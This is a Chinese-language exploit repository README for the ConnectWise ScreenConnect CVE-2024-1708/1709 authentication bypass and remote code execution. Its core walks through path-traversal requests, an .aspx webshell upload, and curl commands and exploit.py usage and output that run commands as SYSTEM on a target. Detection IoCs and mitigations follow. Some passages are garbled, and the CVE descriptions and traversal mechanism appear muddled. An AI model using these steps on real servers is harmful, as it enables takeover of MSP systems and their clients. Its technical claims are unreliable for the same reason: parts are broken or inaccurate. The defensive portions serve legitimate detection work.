
cve-2024-1708-connectwise_rce_reproduction 的复现
CVSS 评分: 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
CWE: CWE-22(路径遍历)、CWE-288(使用替代路径绕过身份验证)
受影响的软件: ConnectWise ScreenConnect(原 ScreenConnect)≤ 23.9.7
发现与报告时间: 2024 年 2 月
野外被利用情况: LockBit、Black Basta、Bl00dy 及其他勒索软件关联团伙
CVE-2024-1708 和 CVE-2024-1709 是 ConnectWise ScreenConnect(原 ConnectWise Control)中的一组连环漏洞,二者结合可让未认证的远程攻击者在 ScreenConnect 服务器上实现完全远程代码执行。
CVE-2024-1708 — 通过路径遍历绕过身份验证。SetupWizard.aspx 端点(以及相关的 setup/upgrade 端点)未正确清理用户提供的路径遍历序列(../)。未认证的攻击者可以穿越预期的设置目录,访问本应需要身份验证的端点。由于该向导以 SYSTEM(Windows)或 root(Linux)账户上下文运行,攻击者会继承高权限。
CVE-2024-1709 — 不受限制的文件上传导致 RCE。一旦身份验证被绕过,攻击者就可以将任意 .aspx 或其他可执行文件上传到 Web 根目录。随后通过请求该上传文件,即可在服务器上执行任意代码。
这些漏洞自 2024 年 2 月 19 日起被多个勒索软件团伙大规模利用:
| 勒索软件团伙 | 活动说明 |
|---|---|
| LockBit | 广泛扫描 ScreenConnect 实例;用于在下游部署 LockBit 加密器。 |
| Black Basta | 利用对 MSP 的访问权限渗透其托管的客户端网络。 |
| Bl00dy | 针对未修复 ScreenConnect 服务器的小规模攻击活动。 |
由于 ScreenConnect 通常由托管服务提供商(MSP)部署,用于远程管理数百个下游客户端端点,因此仅一台被入侵的 ScreenConnect 服务器即可引发供应链攻击——所有通过代理连接至该 ScreenConnect 服务器的客户端都面临风险。
ScreenConnect 服务器在以下路径暴露设置向导:
/SetupWizard.aspx/
在某些升级/修复状态下,服务器不会强制执行身份验证,因为它假设设置向导是首次运行体验。关键缺陷在于,当访问向导命名空间下的路径时,服务器处理 __Session Cookie 或 Transfer-Encoding / Content-Type 请求头的方式。
通过发送如下请求:
/SetupWizard.aspx/../../ScreenConnect/Login.aspx
路径遍历取消了“设置向导”上下文,而服务器仍然认为未认证的会话上下文适用。攻击者会像已认证用户一样被重定向或收到相关页面。
另一种途径:PrepareUpgrade.aspx / PostUpgrade.aspx 处理程序同样缺少身份验证检查,并暴露了文件上传功能。
一旦攻击者访问到已认证端点(或直接在设置上下文中命中文件上传处理程序),即可上传恶意 .aspx webshell:
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" %>...
------BOUNDARY--
该文件会被写入 Web 应用程序目录(例如 C:\Program Files\ScreenConnect\Website\)。请求该上传的 shell 时,会以服务器身份执行代码。
SetupWizard.aspx 处理程序信任其路由下的任何请求都属于设置过程,因此应绕过身份验证——但路径遍历打破了这一假设。../ 序列或符号链接遍历进行适当验证。| 版本范围 | 状态 |
|---|---|
| 23.9.7 及以下 | 易受攻击 |
| 23.9.8 | 已修复(2024 年 2 月 20 日发布) |
| 23.9.9 | 已修复 |
| 23.9.10(最新) | 已修复 |
注意: 自托管(本地部署)的 ScreenConnect 服务器是主要攻击目标。ConnectWise 托管的(云端)ScreenConnect 实例已在公开披露前完成修复,且从未受到影响。
C:\Program Files\ScreenConnect\/opt/screenconnect/# 检查版本
curl -s http://<target>:8040/ | Select-String "ScreenConnect"
或访问 Web 界面,在页面源代码中查看版本号。
curl -v --path-as-is "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"
易受攻击服务器上的预期行为:
curl -X POST "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
-H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
-F "[email protected]"
curl "http://<target>:8040/shell.aspx?cmd=whoami"
随附的 exploit.py 脚本可自动化执行上述步骤:
usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]
Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target hostname or IP
-p PORT, --port PORT Target port (default: 8040)
-c COMMAND, --command COMMAND
Command to execute (default: whoami)
--ssl Use HTTPS
Example:
python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"
$ python exploit.py -t 192.168.1.100 -c "whoami"
[*] Target: 192.168.1.100:8040
[*] Using SSL: False
[*] Step 1: Testing path traversal for auth bypass...
[+] Target appears vulnerable! Server version: 23.9.7
[*] Step 2: Uploading webshell...
[+] Webshell uploaded to: http://192.168.1.100:8040/PoCsAccSwLgSdE.aspx
[*] Step 3: Executing command 'whoami'...
[+] Output:
nt authority\system
在 Web 服务器日志中搜索以下 IoC:
GET /SetupWizard.aspx/../../ScreenConnect/
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
GET /*.aspx?cmd=
本仓库仅供教育和授权安全研究使用。对不属于您或未经您明确书面许可的系统进行未授权测试属于违法行为。作者不对本信息的滥用承担任何责任。
| 控制措施 | 实施方案 |
|---|
| WAF 规则 | 阻止在 /SetupWizard.aspx/ 之后的 URL 路径中包含 ../ 的请求 |
| 网络分段 | 将 ScreenConnect 置于隔离的管理 VLAN 中,并实施严格的出站过滤 |
| 访问控制 | 仅允许受信任的 IP 范围访问 ScreenConnect Web 界面 |
| 监控 | 对来自外部的 /SetupWizard.aspx/ 请求发出告警,或对 ScreenConnect\Website\ 中意外创建 .aspx 文件发出告警 |
| MFA | 虽然 MFA 无法阻止此漏洞(身份验证绕过发生在登录之前),但应在所有管理账户上强制启用 MFA 以实现纵深防御 |
| 来源 | URL |
|---|
| NVD - CVE-2024-1708 | https://nvd.nist.gov/vuln/detail/CVE-2024-1708 |
| NVD - CVE-2024-1709 | https://nvd.nist.gov/vuln/detail/CVE-2024-1709 |
| ConnectWise 安全公告 | https://www.connectwise.com/company/trust/security-advisories |
| Huntress Labs - 初始披露 | https://www.huntress.com/blog/mass-exploitation-of-connectwise-screenconnect |
| CISA 已知被利用漏洞 | https://www.cisa.gov/known-exploited-vulnerabilities |
| ATT&CK 技术:外部远程服务 (T1133) | https://attack.mitre.org/techniques/T1133/ |